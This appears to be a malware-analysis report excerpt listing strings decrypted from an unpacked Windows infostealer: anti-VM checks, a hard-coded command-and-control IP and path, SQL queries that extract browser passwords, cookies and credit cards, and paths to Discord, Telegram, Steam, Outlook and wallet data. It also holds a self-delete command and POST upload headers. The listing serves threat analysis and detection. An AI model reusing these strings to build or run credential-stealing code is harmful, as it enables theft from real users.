Source: 0.2.xLgTQcFdIJ.exe.400000.0.unpack	String decryptor: CreateDCA
Source: 0.2.xLgTQcFdIJ.exe.400000.0.unpack	String decryptor: GetDeviceCaps
Source: 0.2.xLgTQcFdIJ.exe.400000.0.unpack	String decryptor: ReleaseDC
Source: 0.2.xLgTQcFdIJ.exe.400000.0.unpack	String decryptor: CryptStringToBinaryA
Source: 0.2.xLgTQcFdIJ.exe.400000.0.unpack	String decryptor: sscanf
Source: 0.2.xLgTQcFdIJ.exe.400000.0.unpack	String decryptor: VMwareVMware
Source: 0.2.xLgTQcFdIJ.exe.400000.0.unpack	String decryptor: HAL9TH
Source: 0.2.xLgTQcFdIJ.exe.400000.0.unpack	String decryptor: JohnDoe
Source: 0.2.xLgTQcFdIJ.exe.400000.0.unpack	String decryptor: DISPLAY
Source: 0.2.xLgTQcFdIJ.exe.400000.0.unpack	String decryptor: %hu/%hu/%hu
Source: 0.2.xLgTQcFdIJ.exe.400000.0.unpack	String decryptor: http://95.215.207.176
Source: 0.2.xLgTQcFdIJ.exe.400000.0.unpack	String decryptor: gjtwvm
Source: 0.2.xLgTQcFdIJ.exe.400000.0.unpack	String decryptor: /d8ddb681db736e16.php
Source: 0.2.xLgTQcFdIJ.exe.400000.0.unpack	String decryptor: /70d63ca8a5be6cc3/
Source: 0.2.xLgTQcFdIJ.exe.400000.0.unpack	String decryptor: LogsDiller
Source: 0.2.xLgTQcFdIJ.exe.400000.0.unpack	String decryptor: GetEnvironmentVariableA
Source: 0.2.xLgTQcFdIJ.exe.400000.0.unpack	String decryptor: GetFileAttributesA
Source: 0.2.xLgTQcFdIJ.exe.400000.0.unpack	String decryptor: GlobalLock
Source: 0.2.xLgTQcFdIJ.exe.400000.0.unpack	String decryptor: HeapFree
Source: 0.2.xLgTQcFdIJ.exe.400000.0.unpack	String decryptor: GetFileSize
Source: 0.2.xLgTQcFdIJ.exe.400000.0.unpack	String decryptor: GlobalSize
Source: 0.2.xLgTQcFdIJ.exe.400000.0.unpack	String decryptor: CreateToolhelp32Snapshot
Source: 0.2.xLgTQcFdIJ.exe.400000.0.unpack	String decryptor: IsWow64Process
Source: 0.2.xLgTQcFdIJ.exe.400000.0.unpack	String decryptor: Process32Next
Source: 0.2.xLgTQcFdIJ.exe.400000.0.unpack	String decryptor: GetLocalTime
Source: 0.2.xLgTQcFdIJ.exe.400000.0.unpack	String decryptor: FreeLibrary
Source: 0.2.xLgTQcFdIJ.exe.400000.0.unpack	String decryptor: GetTimeZoneInformation
Source: 0.2.xLgTQcFdIJ.exe.400000.0.unpack	String decryptor: GetSystemPowerStatus
Source: 0.2.xLgTQcFdIJ.exe.400000.0.unpack	String decryptor: GetVolumeInformationA
Source: 0.2.xLgTQcFdIJ.exe.400000.0.unpack	String decryptor: GetWindowsDirectoryA
Source: 0.2.xLgTQcFdIJ.exe.400000.0.unpack	String decryptor: Process32First
Source: 0.2.xLgTQcFdIJ.exe.400000.0.unpack	String decryptor: GetLocaleInfoA
Source: 0.2.xLgTQcFdIJ.exe.400000.0.unpack	String decryptor: GetUserDefaultLocaleName
Source: 0.2.xLgTQcFdIJ.exe.400000.0.unpack	String decryptor: GetModuleFileNameA
Source: 0.2.xLgTQcFdIJ.exe.400000.0.unpack	String decryptor: DeleteFileA
Source: 0.2.xLgTQcFdIJ.exe.400000.0.unpack	String decryptor: FindNextFileA
Source: 0.2.xLgTQcFdIJ.exe.400000.0.unpack	String decryptor: LocalFree
Source: 0.2.xLgTQcFdIJ.exe.400000.0.unpack	String decryptor: FindClose
Source: 0.2.xLgTQcFdIJ.exe.400000.0.unpack	String decryptor: SetEnvironmentVariableA
Source: 0.2.xLgTQcFdIJ.exe.400000.0.unpack	String decryptor: LocalAlloc
Source: 0.2.xLgTQcFdIJ.exe.400000.0.unpack	String decryptor: GetFileSizeEx
Source: 0.2.xLgTQcFdIJ.exe.400000.0.unpack	String decryptor: ReadFile
Source: 0.2.xLgTQcFdIJ.exe.400000.0.unpack	String decryptor: SetFilePointer
Source: 0.2.xLgTQcFdIJ.exe.400000.0.unpack	String decryptor: WriteFile
Source: 0.2.xLgTQcFdIJ.exe.400000.0.unpack	String decryptor: CreateFileA
Source: 0.2.xLgTQcFdIJ.exe.400000.0.unpack	String decryptor: FindFirstFileA
Source: 0.2.xLgTQcFdIJ.exe.400000.0.unpack	String decryptor: CopyFileA
Source: 0.2.xLgTQcFdIJ.exe.400000.0.unpack	String decryptor: VirtualProtect
Source: 0.2.xLgTQcFdIJ.exe.400000.0.unpack	String decryptor: GetLogicalProcessorInformationEx
Source: 0.2.xLgTQcFdIJ.exe.400000.0.unpack	String decryptor: GetLastError
Source: 0.2.xLgTQcFdIJ.exe.400000.0.unpack	String decryptor: lstrcpynA
Source: 0.2.xLgTQcFdIJ.exe.400000.0.unpack	String decryptor: MultiByteToWideChar
Source: 0.2.xLgTQcFdIJ.exe.400000.0.unpack	String decryptor: GlobalFree
Source: 0.2.xLgTQcFdIJ.exe.400000.0.unpack	String decryptor: WideCharToMultiByte
Source: 0.2.xLgTQcFdIJ.exe.400000.0.unpack	String decryptor: GlobalAlloc
Source: 0.2.xLgTQcFdIJ.exe.400000.0.unpack	String decryptor: OpenProcess
Source: 0.2.xLgTQcFdIJ.exe.400000.0.unpack	String decryptor: TerminateProcess
Source: 0.2.xLgTQcFdIJ.exe.400000.0.unpack	String decryptor: GetCurrentProcessId
Source: 0.2.xLgTQcFdIJ.exe.400000.0.unpack	String decryptor: gdiplus.dll
Source: 0.2.xLgTQcFdIJ.exe.400000.0.unpack	String decryptor: ole32.dll
Source: 0.2.xLgTQcFdIJ.exe.400000.0.unpack	String decryptor: bcrypt.dll
Source: 0.2.xLgTQcFdIJ.exe.400000.0.unpack	String decryptor: wininet.dll
Source: 0.2.xLgTQcFdIJ.exe.400000.0.unpack	String decryptor: shlwapi.dll
Source: 0.2.xLgTQcFdIJ.exe.400000.0.unpack	String decryptor: shell32.dll
Source: 0.2.xLgTQcFdIJ.exe.400000.0.unpack	String decryptor: psapi.dll
Source: 0.2.xLgTQcFdIJ.exe.400000.0.unpack	String decryptor: rstrtmgr.dll
Source: 0.2.xLgTQcFdIJ.exe.400000.0.unpack	String decryptor: CreateCompatibleBitmap
Source: 0.2.xLgTQcFdIJ.exe.400000.0.unpack	String decryptor: SelectObject
Source: 0.2.xLgTQcFdIJ.exe.400000.0.unpack	String decryptor: BitBlt
Source: 0.2.xLgTQcFdIJ.exe.400000.0.unpack	String decryptor: DeleteObject
Source: 0.2.xLgTQcFdIJ.exe.400000.0.unpack	String decryptor: CreateCompatibleDC
Source: 0.2.xLgTQcFdIJ.exe.400000.0.unpack	String decryptor: GdipGetImageEncodersSize
Source: 0.2.xLgTQcFdIJ.exe.400000.0.unpack	String decryptor: GdipGetImageEncoders
Source: 0.2.xLgTQcFdIJ.exe.400000.0.unpack	String decryptor: GdipCreateBitmapFromHBITMAP
Source: 0.2.xLgTQcFdIJ.exe.400000.0.unpack	String decryptor: GdiplusStartup
Source: 0.2.xLgTQcFdIJ.exe.400000.0.unpack	String decryptor: GdiplusShutdown
Source: 0.2.xLgTQcFdIJ.exe.400000.0.unpack	String decryptor: GdipSaveImageToStream
Source: 0.2.xLgTQcFdIJ.exe.400000.0.unpack	String decryptor: GdipDisposeImage
Source: 0.2.xLgTQcFdIJ.exe.400000.0.unpack	String decryptor: GdipFree
Source: 0.2.xLgTQcFdIJ.exe.400000.0.unpack	String decryptor: GetHGlobalFromStream
Source: 0.2.xLgTQcFdIJ.exe.400000.0.unpack	String decryptor: CreateStreamOnHGlobal
Source: 0.2.xLgTQcFdIJ.exe.400000.0.unpack	String decryptor: CoUninitialize
Source: 0.2.xLgTQcFdIJ.exe.400000.0.unpack	String decryptor: CoInitialize
Source: 0.2.xLgTQcFdIJ.exe.400000.0.unpack	String decryptor: CoCreateInstance
Source: 0.2.xLgTQcFdIJ.exe.400000.0.unpack	String decryptor: BCryptGenerateSymmetricKey
Source: 0.2.xLgTQcFdIJ.exe.400000.0.unpack	String decryptor: BCryptCloseAlgorithmProvider
Source: 0.2.xLgTQcFdIJ.exe.400000.0.unpack	String decryptor: BCryptDecrypt
Source: 0.2.xLgTQcFdIJ.exe.400000.0.unpack	String decryptor: BCryptSetProperty
Source: 0.2.xLgTQcFdIJ.exe.400000.0.unpack	String decryptor: BCryptDestroyKey
Source: 0.2.xLgTQcFdIJ.exe.400000.0.unpack	String decryptor: BCryptOpenAlgorithmProvider
Source: 0.2.xLgTQcFdIJ.exe.400000.0.unpack	String decryptor: GetWindowRect
Source: 0.2.xLgTQcFdIJ.exe.400000.0.unpack	String decryptor: GetDesktopWindow
Source: 0.2.xLgTQcFdIJ.exe.400000.0.unpack	String decryptor: GetDC
Source: 0.2.xLgTQcFdIJ.exe.400000.0.unpack	String decryptor: CloseWindow
Source: 0.2.xLgTQcFdIJ.exe.400000.0.unpack	String decryptor: wsprintfA
Source: 0.2.xLgTQcFdIJ.exe.400000.0.unpack	String decryptor: EnumDisplayDevicesA
Source: 0.2.xLgTQcFdIJ.exe.400000.0.unpack	String decryptor: GetKeyboardLayoutList
Source: 0.2.xLgTQcFdIJ.exe.400000.0.unpack	String decryptor: CharToOemW
Source: 0.2.xLgTQcFdIJ.exe.400000.0.unpack	String decryptor: wsprintfW
Source: 0.2.xLgTQcFdIJ.exe.400000.0.unpack	String decryptor: RegQueryValueExA
Source: 0.2.xLgTQcFdIJ.exe.400000.0.unpack	String decryptor: RegEnumKeyExA
Source: 0.2.xLgTQcFdIJ.exe.400000.0.unpack	String decryptor: RegOpenKeyExA
Source: 0.2.xLgTQcFdIJ.exe.400000.0.unpack	String decryptor: RegCloseKey
Source: 0.2.xLgTQcFdIJ.exe.400000.0.unpack	String decryptor: RegEnumValueA
Source: 0.2.xLgTQcFdIJ.exe.400000.0.unpack	String decryptor: CryptBinaryToStringA
Source: 0.2.xLgTQcFdIJ.exe.400000.0.unpack	String decryptor: CryptUnprotectData
Source: 0.2.xLgTQcFdIJ.exe.400000.0.unpack	String decryptor: SHGetFolderPathA
Source: 0.2.xLgTQcFdIJ.exe.400000.0.unpack	String decryptor: ShellExecuteExA
Source: 0.2.xLgTQcFdIJ.exe.400000.0.unpack	String decryptor: InternetOpenUrlA
Source: 0.2.xLgTQcFdIJ.exe.400000.0.unpack	String decryptor: InternetConnectA
Source: 0.2.xLgTQcFdIJ.exe.400000.0.unpack	String decryptor: InternetCloseHandle
Source: 0.2.xLgTQcFdIJ.exe.400000.0.unpack	String decryptor: InternetOpenA
Source: 0.2.xLgTQcFdIJ.exe.400000.0.unpack	String decryptor: HttpSendRequestA
Source: 0.2.xLgTQcFdIJ.exe.400000.0.unpack	String decryptor: HttpOpenRequestA
Source: 0.2.xLgTQcFdIJ.exe.400000.0.unpack	String decryptor: InternetReadFile
Source: 0.2.xLgTQcFdIJ.exe.400000.0.unpack	String decryptor: InternetCrackUrlA
Source: 0.2.xLgTQcFdIJ.exe.400000.0.unpack	String decryptor: StrCmpCA
Source: 0.2.xLgTQcFdIJ.exe.400000.0.unpack	String decryptor: StrStrA
Source: 0.2.xLgTQcFdIJ.exe.400000.0.unpack	String decryptor: StrCmpCW
Source: 0.2.xLgTQcFdIJ.exe.400000.0.unpack	String decryptor: PathMatchSpecA
Source: 0.2.xLgTQcFdIJ.exe.400000.0.unpack	String decryptor: GetModuleFileNameExA
Source: 0.2.xLgTQcFdIJ.exe.400000.0.unpack	String decryptor: RmStartSession
Source: 0.2.xLgTQcFdIJ.exe.400000.0.unpack	String decryptor: RmRegisterResources
Source: 0.2.xLgTQcFdIJ.exe.400000.0.unpack	String decryptor: RmGetList
Source: 0.2.xLgTQcFdIJ.exe.400000.0.unpack	String decryptor: RmEndSession
Source: 0.2.xLgTQcFdIJ.exe.400000.0.unpack	String decryptor: sqlite3_open
Source: 0.2.xLgTQcFdIJ.exe.400000.0.unpack	String decryptor: sqlite3_prepare_v2
Source: 0.2.xLgTQcFdIJ.exe.400000.0.unpack	String decryptor: sqlite3_step
Source: 0.2.xLgTQcFdIJ.exe.400000.0.unpack	String decryptor: sqlite3_column_text
Source: 0.2.xLgTQcFdIJ.exe.400000.0.unpack	String decryptor: sqlite3_finalize
Source: 0.2.xLgTQcFdIJ.exe.400000.0.unpack	String decryptor: sqlite3_close
Source: 0.2.xLgTQcFdIJ.exe.400000.0.unpack	String decryptor: sqlite3_column_bytes
Source: 0.2.xLgTQcFdIJ.exe.400000.0.unpack	String decryptor: sqlite3_column_blob
Source: 0.2.xLgTQcFdIJ.exe.400000.0.unpack	String decryptor: encrypted_key
Source: 0.2.xLgTQcFdIJ.exe.400000.0.unpack	String decryptor: PATH
Source: 0.2.xLgTQcFdIJ.exe.400000.0.unpack	String decryptor: C:\ProgramData\nss3.dll
Source: 0.2.xLgTQcFdIJ.exe.400000.0.unpack	String decryptor: NSS_Init
Source: 0.2.xLgTQcFdIJ.exe.400000.0.unpack	String decryptor: NSS_Shutdown
Source: 0.2.xLgTQcFdIJ.exe.400000.0.unpack	String decryptor: PK11_GetInternalKeySlot
Source: 0.2.xLgTQcFdIJ.exe.400000.0.unpack	String decryptor: PK11_FreeSlot
Source: 0.2.xLgTQcFdIJ.exe.400000.0.unpack	String decryptor: PK11_Authenticate
Source: 0.2.xLgTQcFdIJ.exe.400000.0.unpack	String decryptor: PK11SDR_Decrypt
Source: 0.2.xLgTQcFdIJ.exe.400000.0.unpack	String decryptor: C:\ProgramData\
Source: 0.2.xLgTQcFdIJ.exe.400000.0.unpack	String decryptor: SELECT origin_url, username_value, password_value FROM logins
Source: 0.2.xLgTQcFdIJ.exe.400000.0.unpack	String decryptor: browser:
Source: 0.2.xLgTQcFdIJ.exe.400000.0.unpack	String decryptor: profile:
Source: 0.2.xLgTQcFdIJ.exe.400000.0.unpack	String decryptor: url:
Source: 0.2.xLgTQcFdIJ.exe.400000.0.unpack	String decryptor: login:
Source: 0.2.xLgTQcFdIJ.exe.400000.0.unpack	String decryptor: password:
Source: 0.2.xLgTQcFdIJ.exe.400000.0.unpack	String decryptor: Opera
Source: 0.2.xLgTQcFdIJ.exe.400000.0.unpack	String decryptor: OperaGX
Source: 0.2.xLgTQcFdIJ.exe.400000.0.unpack	String decryptor: Network
Source: 0.2.xLgTQcFdIJ.exe.400000.0.unpack	String decryptor: cookies
Source: 0.2.xLgTQcFdIJ.exe.400000.0.unpack	String decryptor: .txt
Source: 0.2.xLgTQcFdIJ.exe.400000.0.unpack	String decryptor: SELECT HOST_KEY, is_httponly, path, is_secure, (expires_utc/1000000)-11644480800, name, encrypted_value from cookies
Source: 0.2.xLgTQcFdIJ.exe.400000.0.unpack	String decryptor: TRUE
Source: 0.2.xLgTQcFdIJ.exe.400000.0.unpack	String decryptor: FALSE
Source: 0.2.xLgTQcFdIJ.exe.400000.0.unpack	String decryptor: autofill
Source: 0.2.xLgTQcFdIJ.exe.400000.0.unpack	String decryptor: SELECT name, value FROM autofill
Source: 0.2.xLgTQcFdIJ.exe.400000.0.unpack	String decryptor: history
Source: 0.2.xLgTQcFdIJ.exe.400000.0.unpack	String decryptor: SELECT url FROM urls LIMIT 1000
Source: 0.2.xLgTQcFdIJ.exe.400000.0.unpack	String decryptor: cc
Source: 0.2.xLgTQcFdIJ.exe.400000.0.unpack	String decryptor: SELECT name_on_card, expiration_month, expiration_year, card_number_encrypted FROM credit_cards
Source: 0.2.xLgTQcFdIJ.exe.400000.0.unpack	String decryptor: name:
Source: 0.2.xLgTQcFdIJ.exe.400000.0.unpack	String decryptor: month:
Source: 0.2.xLgTQcFdIJ.exe.400000.0.unpack	String decryptor: year:
Source: 0.2.xLgTQcFdIJ.exe.400000.0.unpack	String decryptor: card:
Source: 0.2.xLgTQcFdIJ.exe.400000.0.unpack	String decryptor: Cookies
Source: 0.2.xLgTQcFdIJ.exe.400000.0.unpack	String decryptor: Login Data
Source: 0.2.xLgTQcFdIJ.exe.400000.0.unpack	String decryptor: Web Data
Source: 0.2.xLgTQcFdIJ.exe.400000.0.unpack	String decryptor: History
Source: 0.2.xLgTQcFdIJ.exe.400000.0.unpack	String decryptor: logins.json
Source: 0.2.xLgTQcFdIJ.exe.400000.0.unpack	String decryptor: formSubmitURL
Source: 0.2.xLgTQcFdIJ.exe.400000.0.unpack	String decryptor: usernameField
Source: 0.2.xLgTQcFdIJ.exe.400000.0.unpack	String decryptor: encryptedUsername
Source: 0.2.xLgTQcFdIJ.exe.400000.0.unpack	String decryptor: encryptedPassword
Source: 0.2.xLgTQcFdIJ.exe.400000.0.unpack	String decryptor: guid
Source: 0.2.xLgTQcFdIJ.exe.400000.0.unpack	String decryptor: SELECT host, isHttpOnly, path, isSecure, expiry, name, value FROM moz_cookies
Source: 0.2.xLgTQcFdIJ.exe.400000.0.unpack	String decryptor: SELECT fieldname, value FROM moz_formhistory
Source: 0.2.xLgTQcFdIJ.exe.400000.0.unpack	String decryptor: SELECT url FROM moz_places LIMIT 1000
Source: 0.2.xLgTQcFdIJ.exe.400000.0.unpack	String decryptor: cookies.sqlite
Source: 0.2.xLgTQcFdIJ.exe.400000.0.unpack	String decryptor: formhistory.sqlite
Source: 0.2.xLgTQcFdIJ.exe.400000.0.unpack	String decryptor: places.sqlite
Source: 0.2.xLgTQcFdIJ.exe.400000.0.unpack	String decryptor: plugins
Source: 0.2.xLgTQcFdIJ.exe.400000.0.unpack	String decryptor: Local Extension Settings
Source: 0.2.xLgTQcFdIJ.exe.400000.0.unpack	String decryptor: Sync Extension Settings
Source: 0.2.xLgTQcFdIJ.exe.400000.0.unpack	String decryptor: IndexedDB
Source: 0.2.xLgTQcFdIJ.exe.400000.0.unpack	String decryptor: Opera Stable
Source: 0.2.xLgTQcFdIJ.exe.400000.0.unpack	String decryptor: Opera GX Stable
Source: 0.2.xLgTQcFdIJ.exe.400000.0.unpack	String decryptor: CURRENT
Source: 0.2.xLgTQcFdIJ.exe.400000.0.unpack	String decryptor: chrome-extension_
Source: 0.2.xLgTQcFdIJ.exe.400000.0.unpack	String decryptor: _0.indexeddb.leveldb
Source: 0.2.xLgTQcFdIJ.exe.400000.0.unpack	String decryptor: Local State
Source: 0.2.xLgTQcFdIJ.exe.400000.0.unpack	String decryptor: profiles.ini
Source: 0.2.xLgTQcFdIJ.exe.400000.0.unpack	String decryptor: chrome
Source: 0.2.xLgTQcFdIJ.exe.400000.0.unpack	String decryptor: opera
Source: 0.2.xLgTQcFdIJ.exe.400000.0.unpack	String decryptor: firefox
Source: 0.2.xLgTQcFdIJ.exe.400000.0.unpack	String decryptor: wallets
Source: 0.2.xLgTQcFdIJ.exe.400000.0.unpack	String decryptor: %08lX%04lX%lu
Source: 0.2.xLgTQcFdIJ.exe.400000.0.unpack	String decryptor: SOFTWARE\Microsoft\Windows NT\CurrentVersion
Source: 0.2.xLgTQcFdIJ.exe.400000.0.unpack	String decryptor: ProductName
Source: 0.2.xLgTQcFdIJ.exe.400000.0.unpack	String decryptor: x32
Source: 0.2.xLgTQcFdIJ.exe.400000.0.unpack	String decryptor: x64
Source: 0.2.xLgTQcFdIJ.exe.400000.0.unpack	String decryptor: %d/%d/%d %d:%d:%d
Source: 0.2.xLgTQcFdIJ.exe.400000.0.unpack	String decryptor: HARDWARE\DESCRIPTION\System\CentralProcessor\0
Source: 0.2.xLgTQcFdIJ.exe.400000.0.unpack	String decryptor: ProcessorNameString
Source: 0.2.xLgTQcFdIJ.exe.400000.0.unpack	String decryptor: SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall
Source: 0.2.xLgTQcFdIJ.exe.400000.0.unpack	String decryptor: DisplayName
Source: 0.2.xLgTQcFdIJ.exe.400000.0.unpack	String decryptor: DisplayVersion
Source: 0.2.xLgTQcFdIJ.exe.400000.0.unpack	String decryptor: Network Info:
Source: 0.2.xLgTQcFdIJ.exe.400000.0.unpack	String decryptor: - IP: IP?
Source: 0.2.xLgTQcFdIJ.exe.400000.0.unpack	String decryptor: - Country: ISO?
Source: 0.2.xLgTQcFdIJ.exe.400000.0.unpack	String decryptor: System Summary:
Source: 0.2.xLgTQcFdIJ.exe.400000.0.unpack	String decryptor: - HWID:
Source: 0.2.xLgTQcFdIJ.exe.400000.0.unpack	String decryptor: - OS:
Source: 0.2.xLgTQcFdIJ.exe.400000.0.unpack	String decryptor: - Architecture:
Source: 0.2.xLgTQcFdIJ.exe.400000.0.unpack	String decryptor: - UserName:
Source: 0.2.xLgTQcFdIJ.exe.400000.0.unpack	String decryptor: - Computer Name:
Source: 0.2.xLgTQcFdIJ.exe.400000.0.unpack	String decryptor: - Local Time:
Source: 0.2.xLgTQcFdIJ.exe.400000.0.unpack	String decryptor: - UTC:
Source: 0.2.xLgTQcFdIJ.exe.400000.0.unpack	String decryptor: - Language:
Source: 0.2.xLgTQcFdIJ.exe.400000.0.unpack	String decryptor: - Keyboards:
Source: 0.2.xLgTQcFdIJ.exe.400000.0.unpack	String decryptor: - Laptop:
Source: 0.2.xLgTQcFdIJ.exe.400000.0.unpack	String decryptor: - Running Path:
Source: 0.2.xLgTQcFdIJ.exe.400000.0.unpack	String decryptor: - CPU:
Source: 0.2.xLgTQcFdIJ.exe.400000.0.unpack	String decryptor: - Threads:
Source: 0.2.xLgTQcFdIJ.exe.400000.0.unpack	String decryptor: - Cores:
Source: 0.2.xLgTQcFdIJ.exe.400000.0.unpack	String decryptor: - RAM:
Source: 0.2.xLgTQcFdIJ.exe.400000.0.unpack	String decryptor: - Display Resolution:
Source: 0.2.xLgTQcFdIJ.exe.400000.0.unpack	String decryptor: - GPU:
Source: 0.2.xLgTQcFdIJ.exe.400000.0.unpack	String decryptor: User Agents:
Source: 0.2.xLgTQcFdIJ.exe.400000.0.unpack	String decryptor: Installed Apps:
Source: 0.2.xLgTQcFdIJ.exe.400000.0.unpack	String decryptor: All Users:
Source: 0.2.xLgTQcFdIJ.exe.400000.0.unpack	String decryptor: Current User:
Source: 0.2.xLgTQcFdIJ.exe.400000.0.unpack	String decryptor: Process List:
Source: 0.2.xLgTQcFdIJ.exe.400000.0.unpack	String decryptor: system_info.txt
Source: 0.2.xLgTQcFdIJ.exe.400000.0.unpack	String decryptor: freebl3.dll
Source: 0.2.xLgTQcFdIJ.exe.400000.0.unpack	String decryptor: mozglue.dll
Source: 0.2.xLgTQcFdIJ.exe.400000.0.unpack	String decryptor: msvcp140.dll
Source: 0.2.xLgTQcFdIJ.exe.400000.0.unpack	String decryptor: nss3.dll
Source: 0.2.xLgTQcFdIJ.exe.400000.0.unpack	String decryptor: softokn3.dll
Source: 0.2.xLgTQcFdIJ.exe.400000.0.unpack	String decryptor: vcruntime140.dll
Source: 0.2.xLgTQcFdIJ.exe.400000.0.unpack	String decryptor: \Temp\
Source: 0.2.xLgTQcFdIJ.exe.400000.0.unpack	String decryptor: .exe
Source: 0.2.xLgTQcFdIJ.exe.400000.0.unpack	String decryptor: runas
Source: 0.2.xLgTQcFdIJ.exe.400000.0.unpack	String decryptor: open
Source: 0.2.xLgTQcFdIJ.exe.400000.0.unpack	String decryptor: /c start
Source: 0.2.xLgTQcFdIJ.exe.400000.0.unpack	String decryptor: %DESKTOP%
Source: 0.2.xLgTQcFdIJ.exe.400000.0.unpack	String decryptor: %APPDATA%
Source: 0.2.xLgTQcFdIJ.exe.400000.0.unpack	String decryptor: %LOCALAPPDATA%
Source: 0.2.xLgTQcFdIJ.exe.400000.0.unpack	String decryptor: %USERPROFILE%
Source: 0.2.xLgTQcFdIJ.exe.400000.0.unpack	String decryptor: %DOCUMENTS%
Source: 0.2.xLgTQcFdIJ.exe.400000.0.unpack	String decryptor: %PROGRAMFILES%
Source: 0.2.xLgTQcFdIJ.exe.400000.0.unpack	String decryptor: %PROGRAMFILES_86%
Source: 0.2.xLgTQcFdIJ.exe.400000.0.unpack	String decryptor: %RECENT%
Source: 0.2.xLgTQcFdIJ.exe.400000.0.unpack	String decryptor: *.lnk
Source: 0.2.xLgTQcFdIJ.exe.400000.0.unpack	String decryptor: files
Source: 0.2.xLgTQcFdIJ.exe.400000.0.unpack	String decryptor: \discord\
Source: 0.2.xLgTQcFdIJ.exe.400000.0.unpack	String decryptor: \Local Storage\leveldb\CURRENT
Source: 0.2.xLgTQcFdIJ.exe.400000.0.unpack	String decryptor: \Local Storage\leveldb
Source: 0.2.xLgTQcFdIJ.exe.400000.0.unpack	String decryptor: \Telegram Desktop\
Source: 0.2.xLgTQcFdIJ.exe.400000.0.unpack	String decryptor: key_datas
Source: 0.2.xLgTQcFdIJ.exe.400000.0.unpack	String decryptor: D877F783D5D3EF8C*
Source: 0.2.xLgTQcFdIJ.exe.400000.0.unpack	String decryptor: map*
Source: 0.2.xLgTQcFdIJ.exe.400000.0.unpack	String decryptor: A7FDF864FBC10B77*
Source: 0.2.xLgTQcFdIJ.exe.400000.0.unpack	String decryptor: A92DAA6EA6F891F2*
Source: 0.2.xLgTQcFdIJ.exe.400000.0.unpack	String decryptor: F8806DD0C461824F*
Source: 0.2.xLgTQcFdIJ.exe.400000.0.unpack	String decryptor: Telegram
Source: 0.2.xLgTQcFdIJ.exe.400000.0.unpack	String decryptor: Tox
Source: 0.2.xLgTQcFdIJ.exe.400000.0.unpack	String decryptor: *.tox
Source: 0.2.xLgTQcFdIJ.exe.400000.0.unpack	String decryptor: *.ini
Source: 0.2.xLgTQcFdIJ.exe.400000.0.unpack	String decryptor: Password
Source: 0.2.xLgTQcFdIJ.exe.400000.0.unpack	String decryptor: Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\
Source: 0.2.xLgTQcFdIJ.exe.400000.0.unpack	String decryptor: Software\Microsoft\Office\13.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\
Source: 0.2.xLgTQcFdIJ.exe.400000.0.unpack	String decryptor: Software\Microsoft\Office\14.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\
Source: 0.2.xLgTQcFdIJ.exe.400000.0.unpack	String decryptor: Software\Microsoft\Office\15.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\
Source: 0.2.xLgTQcFdIJ.exe.400000.0.unpack	String decryptor: Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\
Source: 0.2.xLgTQcFdIJ.exe.400000.0.unpack	String decryptor: oftware\Microsoft\Windows Messaging Subsystem\Profiles\9375CFF0413111d3B88A00104B2A6676\
Source: 0.2.xLgTQcFdIJ.exe.400000.0.unpack	String decryptor: 00000001
Source: 0.2.xLgTQcFdIJ.exe.400000.0.unpack	String decryptor: 00000002
Source: 0.2.xLgTQcFdIJ.exe.400000.0.unpack	String decryptor: 00000003
Source: 0.2.xLgTQcFdIJ.exe.400000.0.unpack	String decryptor: 00000004
Source: 0.2.xLgTQcFdIJ.exe.400000.0.unpack	String decryptor: \Outlook\accounts.txt
Source: 0.2.xLgTQcFdIJ.exe.400000.0.unpack	String decryptor: Pidgin
Source: 0.2.xLgTQcFdIJ.exe.400000.0.unpack	String decryptor: \.purple\
Source: 0.2.xLgTQcFdIJ.exe.400000.0.unpack	String decryptor: accounts.xml
Source: 0.2.xLgTQcFdIJ.exe.400000.0.unpack	String decryptor: dQw4w9WgXcQ
Source: 0.2.xLgTQcFdIJ.exe.400000.0.unpack	String decryptor: token:
Source: 0.2.xLgTQcFdIJ.exe.400000.0.unpack	String decryptor: Software\Valve\Steam
Source: 0.2.xLgTQcFdIJ.exe.400000.0.unpack	String decryptor: SteamPath
Source: 0.2.xLgTQcFdIJ.exe.400000.0.unpack	String decryptor: \config\
Source: 0.2.xLgTQcFdIJ.exe.400000.0.unpack	String decryptor: ssfn*
Source: 0.2.xLgTQcFdIJ.exe.400000.0.unpack	String decryptor: config.vdf
Source: 0.2.xLgTQcFdIJ.exe.400000.0.unpack	String decryptor: DialogConfig.vdf
Source: 0.2.xLgTQcFdIJ.exe.400000.0.unpack	String decryptor: DialogConfigOverlay*.vdf
Source: 0.2.xLgTQcFdIJ.exe.400000.0.unpack	String decryptor: libraryfolders.vdf
Source: 0.2.xLgTQcFdIJ.exe.400000.0.unpack	String decryptor: loginusers.vdf
Source: 0.2.xLgTQcFdIJ.exe.400000.0.unpack	String decryptor: \Steam\
Source: 0.2.xLgTQcFdIJ.exe.400000.0.unpack	String decryptor: sqlite3.dll
Source: 0.2.xLgTQcFdIJ.exe.400000.0.unpack	String decryptor: browsers
Source: 0.2.xLgTQcFdIJ.exe.400000.0.unpack	String decryptor: done
Source: 0.2.xLgTQcFdIJ.exe.400000.0.unpack	String decryptor: soft
Source: 0.2.xLgTQcFdIJ.exe.400000.0.unpack	String decryptor: \Discord\tokens.txt
Source: 0.2.xLgTQcFdIJ.exe.400000.0.unpack	String decryptor: /c timeout /t 5 & del /f /q "
Source: 0.2.xLgTQcFdIJ.exe.400000.0.unpack	String decryptor: " & del "C:\ProgramData\*.dll"" & exit
Source: 0.2.xLgTQcFdIJ.exe.400000.0.unpack	String decryptor: C:\Windows\system32\cmd.exe
Source: 0.2.xLgTQcFdIJ.exe.400000.0.unpack	String decryptor: https
Source: 0.2.xLgTQcFdIJ.exe.400000.0.unpack	String decryptor: Content-Type: multipart/form-data; boundary=----
Source: 0.2.xLgTQcFdIJ.exe.400000.0.unpack	String decryptor: POST
Source: 0.2.xLgTQcFdIJ.exe.400000.0.unpack	String decryptor: HTTP/1.1
Source: 0.2.xLgTQcFdIJ.exe.400000.0.unpack	String decryptor: Content-Disposition: form-data; name="
Source: 0.2.xLgTQcFdIJ.exe.400000.0.unpack	String decryptor: hwid
Source: 0.2.xLgTQcFdIJ.exe.400000.0.unpack	String decryptor: build
